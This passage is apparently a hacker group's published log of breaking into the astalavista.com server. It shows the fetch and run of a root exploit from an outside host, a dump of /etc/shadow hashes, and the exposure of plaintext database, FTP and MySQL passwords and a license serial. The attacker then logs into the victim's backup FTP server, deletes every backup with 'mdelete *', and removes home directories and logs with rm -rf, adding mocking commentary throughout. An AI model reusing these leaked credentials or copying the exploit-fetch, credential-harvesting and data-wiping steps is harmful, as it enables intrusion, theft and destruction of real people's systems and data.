+————————–+————————————–+——+—–+———————+—————-+
| primary_key              | smallint(5) unsigned                 | NO   | PRI | NULL                | auto_increment |
| user                     | varchar(50)                          | NO   |     |                     |                |
| nickname                 | varchar(30)                          | NO   | MUL | anonymous           |                |
| password                 | varchar(30)                          | NO   |     |                     |                |
| userlevel                | tinyint(3)                           | YES | MUL | NULL                |                |
| exp                      | int(8) unsigned                      | NO   |     | 0                   |                |
| email                    | varchar(50)                          | NO   |     |                     |                |
| ip                       | varchar(15)                          | NO   |     | 0                   |                |
| proxy                    | set(’0′,’1′)                         | NO   |     | 0                   |                |
| logtime                  | timestamp                            | NO   |     | CURRENT_TIMESTAMP   |                |
| login_reminder_last_sent | timestamp                            | NO   |     | 0000-00-00 00:00:00 |                |
| anz_in                   | tinyint(1)                           | NO   |     | -1                  |                |
| status                   | tinyint(1) unsigned                  | NO   |     | 0                   |                |
| checked                  | set(’0′,’1′,’2′)                     | NO   |     | 0                   |                |
| freemember               | set(’0′,’1′)                         | NO   |     | 0                   |                |
| ordertype                | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES |     | NULL                |                |
| lang                     | tinytext                             | NO   |     |                     |                |
| adid                     | smallint(6)                          | NO   |     | 0                   |                |
| pp_txn_id                | varchar(255)                         | YES |     | NULL                |                |
| cnb_transaction_id       | varchar(255)                         | YES |     | NULL                |                |
| cnb_order_id             | varchar(255)                         | YES |     | NULL                |                |
| cnb_user_id              | int(11)                              | YES |     | 0                   |                |
+————————–+————————————–+——+—–+———————+—————-+
22 rows in set (0.01 sec)

mysql> select count(*) as skids from users;
+——-+
| skids |
+——-+
| 25199 |
+——-+
1 row in set (0.00 sec)

mysql> exit;
Bye

[~] plaintext passwords? yes,
Those so called “security professionals” who charge you $6.66 / month to
register at their hack-proof portal, save your passwords in plaintext…
brilliant!

[~] This been fun but we want more.

sh-3.2$ uname -a
Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
sh-3.2$ wget http://anti.sec.labs/g0troot
–13:33:37– http://anti.sec.labs/g0troot
Resolving anti.sec.labs… 13.33.33.37
Connecting to anti.sec.labs|13.33.33.37|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 18200 (18K) [text/plain]
Saving to: `g0troot’

100%[=========================================================================================================================================>] 18,200 58.6K/s in
0.3s

18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]

sh-3.2$ ./g0troot -i x86_64
[+] g0troot - anti.sec.labs
[+] Target: 2.6.18-128.1.10.el5
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]

[+] r00tr00t
[~] Executing shell…

sh-3.2# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

sh-3.2# cat /etc/shadow
root:$1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::
[snip]
admin:$1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
jon:$1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::
com:$1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::
astanet:$1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::

sh-3.2# cat /etc/motd
#####################################################
#____ ____ ___ ____ _    ____ _ _ _ ____ ___ ____ #
# |__| [__   | |__| |    |__| | | | [__   | |__| #
# | | ___] | | | |___ | | // | ___] | | | #
#                                                   #
#####################################################
#                                                   #
# Admin Contact - [email protected]      #
#                                                   #
# Available ShortCuts                               #
#                                                   #
# nst - list active connections                    #
# ddos - shows how many times each ip is connected #
# ltr - restart the webserver                      #
# phpc - edit the php config file                   #
# htc - edit the webserver configuration file      #
# up -   uptime                                     #
# etd - edit the motd of the day file               #
# htr - start and restart apache if needed          #
# syng - shows active SYN_RECV connections          #
# synd - syn flood blocker - “synd -h” for usage    #
#####################################################
# NOTES:                                            #
# Last Upgrade - 12-08-2008 by JF                   #
# My.cnf/Mysql Optimization - 1-28-09               #
#                                                   #
#                                                   #
#                                                   #
#####################################################

sh-3.2# lastlog | grep -v Never
Username         Port     From             Latest
root             pts/1    adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009
admin            pts/1    cp.secureservert Thu Mar 20 10:25:39 +0000 2008
com              pts/0    cust.static.212- Tue Jun 2 07:46:30 +0000 2009
astanet          pts/0    adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009

sh-3.2# ls -la
total 453376
drwxr-x— 15 root root       4096 Jun 4 08:40 .
drwxr-xr-x 25 root root       4096 Jun 3 02:43 ..
-rw-r–r– 1 root root    2394400 Oct 19 2007 10mbtest.zip
-rw——- 1 root root       1006 Sep 11 2007 anaconda-ks.cfg
-rw——- 1 root root      16836 Jun 4 07:21 .bash_history
-rw-r–r– 1 root root         24 Jan 6 2007 .bash_logout
-rw-r–r– 1 root root        191 Jan 6 2007 .bash_profile
-rw-r–r– 1 root root        176 Jan 6 2007 .bashrc
-rwx—— 1 root root       1899 Oct 28 2007 bk.sh
-rw-r–r– 1 root root       1327 Nov 29 2007 cert
-rw-r–r– 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql
drwxr-xr-x 4 root root       4096 May 20 2008 .cpan
-rw-r–r– 1 root root        100 Jan 6 2007 .cshrc
-rw-r–r– 1 root root     323079 Mar 31 13:48 defaultp_ports.sql
drwx—— 2 root root       4096 Oct 28 2007 .elinks
drwxr-xr-x 13 root root       4096 Mar 21 2008 gdb-6.7.1
-rw-r–r– 1 root root   15080950 Oct 29 2007 gdb-6.7.1.tar.bz2
-rw——- 1 root root          0 Apr 16 13:19 .history
-rw-r–r– 1 root root      16095 Sep 11 2007 install.log
-rw-r–r– 1 root root       2566 Sep 11 2007 install.log.syslog
-rw-r–r– 1 root root       1003 Jul 22 2007 install.sh
-rw——- 1 root root         35 Jun 2 14:23 .lesshst
drwxr-xr-x 2 root root       4096 Dec 29 2007 .lftp
drwxr-xr-x 10 root root       4096 Sep 14 2007 linux-2.6.19.2-grsec
-rw-r–r– 1 root root   94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz
-rw-r–r– 1 root root    4737058 Sep 22 2007 linux-2.6.22.tar.bz2
-rwx—— 1 root root        760 Sep 18 2008 lp
drwxr-xr-x 12 root root       4096 Nov 30 2007 lsws-3.3.1
-rw-r–r– 1 root root    2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz
-rw-r–r– 1 root root    6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1
drwxr-xr-x 12 root root       4096 Mar 21 2008 lsws-3.3.9
-rw-r–r– 1 root root    6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz
drwxr-xr-x 12 root root       4096 May 29 15:10 lsws-4.0.3
-rw-r–r– 1 root root    6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz
-rw-r–r– 1 root root      25316 Feb 15 2006 mybk.sh
-rw——- 1 root root         41 Oct 19 2007 .my.cnf
-rw——- 1 root root       2902 Jun 4 08:40 .mysql_history
-rwx—— 1 root root      38873 Apr 16 2008 mysqlreport
-rw——- 1 root root         41 May 20 2008 .mytop
drwxr-xr-x 3 1000 1000      4096 May 20 2008 mytop-1.6
-rw-r–r– 1 root root      19720 Feb 17 2007 mytop-1.6.tar.gz
drwxr-xr-x 2 root root       4096 Oct 28 2007 .ncftp
-rw——- 1 root root       1462 Sep 21 2007 opt.php
-rw-r–r– 1 root root       3371 Sep 22 2007 p
-rw-r–r– 1 root root    7608429 Aug 30 2007 php-5.2.4.tar.bz2
-rw——- 1 root root       1024 Feb 3 21:32 .rnd
-rw-r–r– 1 root root        716 Nov 28 2007 server.csr
-rw-r–r– 1 root root        887 Nov 28 2007 server.key
drwx—— 2 root root       4096 Oct 10 2008 .ssh
-rw-r–r– 1 root root      44227 Oct 28 2007 tar-inc-backup.dat
-rw-r–r– 1 root root        129 Jan 6 2007 .tcshrc
-rw-r–r– 1 root root 104874307 Oct 17 2007 test100.zip
-rw-r–r– 1 root root   67085540 Oct 19 2007 test100.zip.1
drwxr-xr-x 2 root root       4096 Apr 29 11:15 tmp
-rw-r–r– 1 root root      42596 May 21 2007 tuning-primer.sh
drwxrwxrwx 19 1000 users      4096 Mar 21 2008 valgrind-3.3.0
-rw-r–r– 1 root root    4519551 Dec 11 2007 valgrind-3.3.0.tar.bz2
-rw——- 1 root root      12997 May 16 2008 .viminfo

sh-3.2# cat .bash_history
[snip]
wget cp4sst.com/sstlinux.tar.gz
tar zxvf sstlinux.tar.gz
cd linux-2.6.27.10
sh install.sh
make bzImage ; make modules ; make modules_install ; make install
make clean
service mysqld restart
[snip]
cd /usr/sbin/
chmod 4777 traceroute
chmod 4777 ping
traceroute -I www.astalavista.ch
[snip]
vi /etc/csf/csf.conf
traceroute google.ch
service csf restart
tracert google.ch
service csf restart
traceroute www.google.ch
tracert www.google.ch
traceroute www.google.ch
locate traceroute
chown 4755 /bin/traceroute
chown 4777 /bin/traceroute
locate ping
chown 4755 /bin/ping
chown 4777 /bin/ping
cd /bin/
ls -ali | grep ping
chown root ping
chmod 4755 ping
ls -ali | grep traceroute
chown root traceroute
chmod 4755 traceroute
ls -ali | grep traceroute
traceroute -I www.google.ch
traceroute www.google.ch
whois pmsantos.ch
[snip]
mysql -h com_contrexx2_live < /root/defaultp_ports.sql
mysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql
mysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql
mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql
top
ping ssth.ch
ping asdlkfaljgasd???ljg???lasj.ch
ping asdlkfaljgasdlasj.ch
ping www.ssth.ch
ping ssth.ch
nslookup www.google.ch
nslookup www.ssth.ch
man nslookup
ping www.google.ch
nslookup www.google.ch
nslookup www.google.ch
nslookup salfjasdlf.ch
[snip]
openssl passwd -1 sadf
openssl passwd -1 5cZNHstdTy
mysql
mysql
locate proftp
vi /etc/proftpd.passwd
service proftpd restart
locate proftpd.conf
vi /etc/proftpd.conf
vi /etc/proftpd.passwd
service proftpd restart
[snip]
/bin/sh /home/com/backup_system/backup.sh
tar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql
ls -ali
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql
crontab -l
crontab -l
php -q /home/com/public_html/modifications/cronjobs/securitynews.php
/home/com/public_html/modifications/cronjobs/exploits.sh
wget http://www.litespeedtech.com/packages/4.0/lsws-4.0.3-ent-x86_64-linux.tar.gz
tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz
cd lsws-4.0.3
sh install.sh
uptime
hdparm -tt /dev/sda
iostat
yum install iostat
iostat
whereis iostat
yjm clean all
yum clean all ; yum -y update
iostat
yum install systat
rpm -qa | grep iostat
rpm -qa | grep sysstat
rpm -qa | grep systat
dmesg -c
sysctl -p
uname -r
cd /usr/src
wget nix101.com/kernels/sstlinux.tar.gz
shutdown -r now
nano -w /boot/grub/grub.conf

sh-3.2# cat .my.cnf
[client]
user=da_admin
password=X9dctmRH

sh-3.2# cat /home/com/backup_system/backup.sh
#!/bin/sh
#####################################################################
#                                                                   #
#   incremental backup for astalavista.com                          #
#                                                                   #
#   author:    Paulo M. Santos        #
#                                                                   #
#####################################################################
[snip]
PROG_DIR=”/home/com/backup_system”;
BACKUP_DIR=”/home/com/backups”;
DOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;
# ftp for synology backup server
FTP_HOST=”212.254.194.163″;
FTP_PORT=”21″;
FTP_USER=”astalavista.com”;
FTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;
FTP_DIR=”/astalavista.com”;
# database
DB_HOST=”localhost”;
DB_USER=”contrexxuser2″;
DB_PASS=”0fEYNZgXz1pKe”;
DB_DATABASE1=”com_contrexx2_live”;
DB_DATABASE2=”com_contrexx2″;
[snip]
ftp -in $FTP_HOST $FTP_PORT < quote USER $FTP_USER
quote PASS $FTP_PASS
cd $FTP_DIR
put $DB_FULLNAME-SQL_Dump.tar
put $BACKUP_FULLNAME-Public_HTML.tar
close
bye
EOF

sh-3.2# cd /home
sh-3.2# ls -la
total 120
drwxr-xr-x 14 root    root     4096 Mar 11 17:56 .
drwxr-xr-x 25 root    root     4096 Jun 3 02:43 ..
drwx–x–x 9 admin   admin    4096 Nov 28 2007 admin
-rw——- 1 root    root     8192 Jun 4 03:03 aquota.group
-rw——- 1 root    root     8192 Jun 3 02:45 aquota.user
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
drwxr-xr-x 2 root    root     4096 Jul 29 2008 backup
drwxr-xr-x 2 root    root     4096 Sep 17 2008 backup.14161
drwx–x–x 10 com     com      4096 Apr 28 12:40 com
drwxr-xr-x 2 root    root     4096 May 17 2007 ftp
drwx—— 3 jon     jon      4096 Sep 21 2007 jon
drwx—— 2 root    root    16384 Sep 11 2007 lost+found
drwxr-xr-x 2 root    root     4096 Sep 14 2007 my
drwxr-xr-x 5 mysql   mysql    4096 Sep 24 2007 mysqldata
drwx—— 2 jon     jon      4096 Sep 15 2007 test
drwxrwxrwt 2 root    root     4096 Jul 29 2008 tmp

sh-3.2# cd admin
sh-3.2# ls -la
total 1735896
drwx–x–x 9 admin admin       4096 Nov 28 2007 .
drwxr-xr-x 14 root root        4096 Mar 11 17:56 ..
drwxrwxr-x 2 admin admin       4096 Oct 25 2007 admin_backups
drwx—— 2 admin admin       4096 Sep 28 2007 backups
-rw——- 1 admin admin        860 Sep 17 2008 .bash_history
-rw-r–r– 1 admin admin         24 Sep 14 2007 .bash_logout
-rw-r–r– 1 admin admin        176 Sep 14 2007 .bash_profile
-rw-r–r– 1 admin admin        124 Sep 14 2007 .bashrc
drwxr-xr-x 2 root root        4096 Sep 28 2007 com_backups
drwx–x–x 6 admin admin       4096 Sep 21 2007 domains
drwxrwx— 3 admin mail        4096 Sep 21 2007 imap
-rw-r–r– 1 root root          24 Sep 21 2007 info.php
drwx—— 2 admin admin       4096 Sep 21 2007 mail
-rw-r–r– 1 root root         716 Nov 28 2007 server.csr
-rw-r–r– 1 root root         887 Nov 28 2007 server.key
-rw-r—– 1 admin mail          34 Sep 14 2007 .shadow
-rw-r—– 1 admin com   1775711054 Oct 25 2007 user.admin.com.tar.gz
drwx–x–x 2 admin admin       4096 Jul 29 2008 user_backups

sh-3.2# ..
sh-3.2# cd jon
sh-3.2# ls -la
total 36
drwx—— 3 jon jon 4096 Sep 21 2007 .
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
-rw——- 1 jon jon    53 Sep 21 2007 .bash_history
-rw-r–r– 1 jon jon    24 Sep 21 2007 .bash_logout
-rw-r–r– 1 jon jon   176 Sep 21 2007 .bash_profile
-rw-r–r– 1 jon jon   124 Sep 21 2007 .bashrc
-rw-r–r– 1 root root   24 Sep 21 2007 info.php
drwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html

sh-3.2# cd ..
sh-3.2# cd test
sh-3.2# ls -la
total 48
drwx—— 2 jon jon 4096 Sep 15 2007 .
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
-rw——- 1 jon jon    79 Sep 21 2007 .bash_history
-rw-r–r– 1 jon jon    24 Sep 15 2007 .bash_logout
-rw-r–r– 1 jon jon   176 Sep 15 2007 .bash_profile
-rw-r–r– 1 jon jon   124 Sep 15 2007 .bashrc
sh-3.2# cat .bash_history
/usr/bin/mysqladmin -u root password PoliuJhytg67

sh-3.2# cd ..
sh-3.2# cd astanet
sh-3.2# ls -la
total 52
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 .
drwxr-xr-x 14 root    root    4096 Mar 11 17:56 ..
drwxr-xr-x 2 root    root    4096 Dec 23 16:00 auth
-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
-rw-r–r– 1 astanet astanet   33 Dec 17 21:50 .bash_logout
-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
drwxrwx— 3 astanet mail    4096 Dec 23 12:18 imap
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
-rw——- 1 astanet astanet 197 Jun 4 09:51 .mysql_history
lrwxrwxrwx 1 astanet astanet   37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
-rw-r—– 1 astanet mail      34 Dec 22 12:41 .shadow

sh-3.2# cd auth/
sh-3.2# ls -la
total 28
drwxr-xr-x 2 root    root    4096 Dec 23 16:00 .
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ..
-rw-r–r– 1 root    root     321 Jan 5 2006 hackercontest.config.inc.php
-rw-r–r– 1 root    root     319 Jan 5 2006 hosting.config.inc.php
-rw-r–r– 1 root    root      24 Jun 4 09:38 .htadm_pwd
-rw-r–r– 1 root    root      49 Jan 5 2006 .htpasswd_newhosting
-rw-r–r– 1 root    root      51 Oct 11 2006 .htwebalizer_pwd

sh-3.2# cat hackercontest.config.inc.php
// Variabeln f?r Verbindung zur Datenbank //
$conxHost = ‘localhost’;                       // MySQL hostname
$conxUser = ‘hackercontest’;                                       // MySQL user
$conxPassword = ‘K6m@7dUc’;                    // MySQL password
$bfkey = ‘cXvB3981′;                                       // Encryption/Decryption Key for Blowfish
?>
sh-3.2# cat hosting.config.inc.php
// Variabeln f?r Verbindung zur Datenbank //
$conxHost = ‘localhost’;                       // MySQL hostname
$conxUser = ‘hostinguser’;                                 // MySQL user
$conxPassword = ‘cXvB3981′;                    // MySQL password
$bfkey = ‘cXvB3981′;                                       // Encryption/Decryption Key for Blowfish
?>

sh-3.2# cd ..
sh-3.2# cd com
sh-3.2# ls -la
total 141208
drwx–x–x 10 com com       4096 Apr 28 12:40 .
drwxr-xr-x 14 root root      4096 Mar 11 17:56 ..
drwx—— 2 com com       4096 Jun 4 04:04 backups
-rw-r–r– 1 root root   2419504 Sep 28 2007 backup.sql
drwxr-xr-x 2 com com       4096 May 12 15:20 backup_system
-rw——- 1 com com      21880 Jun 2 08:07 .bash_history
-rw-r–r– 1 com com         24 Sep 24 2007 .bash_logout
-rw-r–r– 1 com com        176 Sep 24 2007 .bash_profile
-rw-r–r– 1 com com        124 Sep 24 2007 .bashrc
drwx–x–x 3 com com       4096 Jan 29 2008 domains
-rw-r–r– 1 com com      16409 Jul 16 2008 FWUser.class.php.fixed
drwxrwx— 3 com mail      4096 Jan 6 19:24 imap
-rw——- 1 com com         69 Nov 18 2008 .lesshst
drwx—— 2 com com       4096 Sep 24 2007 mail
-rw——- 1 com com      13970 Mar 28 21:42 .mysql_history
drwxr-xr-x 2 com com       4096 Aug 20 2008 .ncftp
lrwxrwxrwx 1 com com         37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html
-rw-r—– 1 com mail        34 Sep 24 2007 .shadow
drwx—— 2 com com       4096 Aug 26 2008 .ssh
-rwx—— 1 com com       8515 Feb 10 2008 t
-rw-rw-r– 1 com com       6265 Feb 11 2008 t.c
drwxrwxr-x 2 com com       4096 Jan 30 15:47 tmp
-rw-rw-r– 1 com com        617 May 20 2008 .toprc
-rw-rw-r– 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql
-rw——- 1 com com      16629 Mar 28 21:46 .viminfo
-rw-rw-r– 1 com com         51 Aug 25 2008 .vimrc

sh-3.2# head t.c
/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*

sh-3.2# cd /
sh-3.2# ls -la
total 360
drwxr-xr-x 25 root root   4096 Jun 3 02:43 .
drwxr-xr-x 25 root root   4096 Jun 3 02:43 ..
-rw——-   1 root root 10240 Jun 3 02:39 aquota.group
-rw——-   1 root root 10240 Jun 3 02:39 aquota.user
-rw-r—–   1 root root    819 Jul 17 2008 astalavista.us.db
-rw-r–r–   1 root root      0 Jun 3 02:43 .autofsck
-rw-r–r–   1 root root      0 Sep 16 2007 .autorelabel
drwxr-xr-x   3 root root   4096 Dec 29 2007 backup
drwxr-xr-x   2 root root   4096 Jun 4 04:03 bin
drwxr-xr-x   5 root root   4096 Jun 2 14:06 boot
drwxr-xr-x 11 root root   3620 Jun 3 02:43 dev
drwxr-xr-x 84 root root 12288 Jun 4 03:16 etc
drwxr-xr-x 14 root root   4096 Mar 11 17:56 home
-rw-r–r–   1 root root 13387 Mar 20 2008 httpd.conf
drwxr-xr-x 11 root root   4096 Jun 4 04:02 lib
drwxr-xr-x   7 root root   4096 Jun 4 04:03 lib64
drwx——   2 root root 16384 Sep 11 2007 lost+found
drwxr-xr-x   2 root root   4096 Mar 11 17:56 media
drwxr-xr-x   2 root root      0 Jun 3 02:43 misc
drwxr-xr-x   2 root root   4096 Mar 11 17:56 mnt
-rw-r–r–   1 root root   5859 Feb 3 2008 mrtg.cfg
drwxr-xr-x   2 root root      0 Jun 3 02:43 net
drwxr-xr-x   3 root root   4096 Mar 11 17:56 opt
dr-xr-xr-x 264 root root      0 Jun 3 02:42 proc
drwxr-x— 15 root root   4096 Jun 4 08:40 root
drwxr-xr-x   2 root root 12288 Jun 4 04:03 sbin
drwxr-xr-x   2 root root   4096 Mar 11 17:56 selinux
drwxr-xr-x   2 root root   4096 Mar 11 17:56 srv
drwxr-xr-x 11 root root      0 Jun 3 02:42 sys
drwxrwxrwt   4 root root 122880 Jun 4 10:35 tmp
drwxr-xr-x 16 root root   4096 Jun 2 13:56 usr
drwxr-xr-x 26 root root   4096 Jun 4 03:16 var

sh-3.2# cd opt
sh-3.2# ls -la
total 20
drwxr-xr-x 3 root root 4096 Mar 11 17:56 .
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
drwxr-xr-x 15 root root 4096 Mar 20 2008 lsws

sh-3.2# cd lsws/
sh-3.2# ls -la
total 108
drwxr-xr-x 15 root   root    4096 Mar 20 2008 .
drwxr-xr-x 3 root   root    4096 Mar 11 17:56 ..
drwxr-xr-x 8 root   root    4096 Mar 20 2008 add-ons
drwxr-xr-x 13 root   root    4096 May 29 15:10 admin
drwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate
drwxr-xr-x 2 root   root    4096 May 29 15:10 bin
drwx—— 4 apache apache 4096 Jun 3 02:43 conf
drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT
drwxr-xr-x 2 root   root    4096 Sep 15 2008 docs
drwxr-xr-x 2 root   root    4096 May 29 15:10 fcgi-bin
drwxr-xr-x 2 root   root    4096 Sep 15 2008 lib
-rw-r–r– 1 root   root    6959 May 29 15:10 LICENSE
-rw-r–r– 1 root   root    2214 May 29 15:10 LICENSE.OpenLDAP
-rw-r–r– 1 root   root    6279 May 29 15:10 LICENSE.OpenSSL
-rw-r–r– 1 root   root    3208 May 29 15:10 LICENSE.PHP
drwxr-xr-x 2 root   root   20480 Jun 4 09:55 logs
drwxr-xr-x 2 root   root    4096 Mar 20 2008 php
drwx—— 2 apache apache 4096 Mar 20 2008 phpbuild
drwxr-xr-x 3 root   root    4096 Mar 20 2008 share
-rw-r–r– 1 root   root       6 May 29 15:10 VERSION

sh-3.2# cd conf
sh-3.2# ls -la
total 48
drwx—— 4 apache apache 4096 Jun 3 02:43 .
drwxr-xr-x 15 root   root   4096 Mar 20 2008 ..
drwx—— 2 apache apache 4096 Mar 20 2008 cert
-rw-r–r– 1 apache apache 6668 May 29 15:13 httpd_config.xml
-rw——- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak
-rw-r–r– 1 root   apache    0 Jun 3 14:11 .last
-rw——- 1 apache apache 256 May 29 15:10 license.key
-rw——- 1 apache apache 256 Mar 21 2008 license.key.old
-rw——- 1 apache apache 3320 Mar 20 2008 mime.properties
-rw——- 1 apache apache   20 May 29 15:10 serial.no
drwx—— 2 apache apache 4096 Mar 20 2008 templates

sh-3.2# cat serial.no
IbDl-oVsO-CKqL-wVRa

sh-3.2# mysql
Welcome to the MySQL monitor. Commands end with ; or /g.
Your MySQL connection id is 286844
Server version: 5.0.45-community-log MySQL Community Edition (GPL)

Type ‘help;’ or ‘/h’ for help. Type ‘/c’ to clear the buffer.

mysql> select iss_description from eventum_issue where iss_id = 43;
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
| iss_description
|
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be
connected for 90 mins… 120mins… so what i propose is something like:
http://www.surfthechannel.com/
since they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system
like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t
break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
if they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…

We could also put advertisement during play on the flash video player itself… extra $$…

By sykadul |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
1 row in set (0.00 sec)

// Money and extra $$ is all they care about. remember that.

mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;
+————————+——————————————————————————————————————————————————————————————————————————————-+
| iss_summary | iss_description
|
+————————+——————————————————————————————————————————————————————————————————————————————-+
| Forum for REAL EXPERTS | Hello,

Ishtus and I,

Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide
ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..

One example a friend of mine from coresecurity.com!

We could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..

|
+————————+——————————————————————————————————————————————————————————————————————————————+
1 row in set (0.00 sec)

// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…

mysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;
+——————+———————————————————————————————+
| iss_summary | iss_description |
+——————+———————————————————————————————+
| Website guidance | Virtual Girl which guides you trought the website.

We need a girl with who you can ( talk )!!!
Also for the News!
So my suggestion is a girl who read you the news loud if you like!
you can choose between read yourselfe or she read it for you or both!

Go to www.heise.de! There is an example for Voice News! It’s a good thing!!!

Have a look on the example girls!!

http://www.yaoti.com/de/free_yaoti.html

or that

http://www.yellostrom.de/

|
+——————+———————————————————————————————+
1 row in set (0.00 sec)

// ha ha.

mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;
+————————–+———————————————————————————————————–+
| iss_summary | iss_description |
+————————–+———————————————————————————————————–+
| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |
+————————–+———————————————————————————————————–+
1 row in set (0.00 sec)

// LOL.

mysql> exit
Bye

sh-3.2# ftp 212.254.194.163
Connected to 212.254.194.163.
220 BackupCOM_VW FTP server ready.
504 AUTH: security mechanism ‘GSSAPI’ not supported.
504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.
KERBEROS_V4 rejected as an authentication type
Name (212.254.194.163:root): astalavista.com
331 Password required for astalavista.com.
Password:
230 User astalavista.com logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
227 Entering Passive Mode (212,254,194,163,2,188)
150 Opening BINARY mode data connection for ‘file list’.
dr-x——   1 root users         4096 Jun 4 06:13 astalavista.com
226 Transfer complete.
ftp> cd astalavista.com
250 CWD command successful.
ftp> ls -la
227 Entering Passive Mode (212,254,194,163,2,189)
150 Opening BINARY mode data connection for ‘file list’.
-rw-rw-rw-   1 astalavista.com users     23410936878 Apr 29 22:10 09-04-28-astacom_full.tar
-rw-rw-rw-   1 astalavista.com users     20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2
-rw-rw-rw-   1 astalavista.com users        88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
-rw-rw-rw-   1 astalavista.com users     26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar
-rw-rw-rw-   1 astalavista.com users       277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar
[snip]
226 Transfer complete.
ftp> mdelete *
ftp> ls -la
227 Entering Passive Mode (212,254,194,163,2,193)
150 Opening BINARY mode data connection for ‘file list’.
226 Transfer complete.
ftp>

sh-3.2# rm -rf backup/
sh-3.2# rm -rf backup.14161/
sh-3.2# rm -rf ftp/
sh-3.2# rm -rf jon/
sh-3.2# rm -rf my/
sh-3.2# rm -rf mysqldata/
sh-3.2# rm -rf test/
sh-3.2# rm -rf tmp/
sh-3.2# cd ~
sh-3.2# rm -rf *
sh-3.2# rm -rf /var/log/
rm: cannot remove directory `/var/log//proftpd’: Directory not empty
sh-3.2# rm -rf /home/*
sh-3.2# mysql
Welcome to the MySQL monitor. Commands end with ; or /g.
Your MySQL connection id is 407156
Server version: 5.0.45-community-log MySQL Community Edition (GPL)

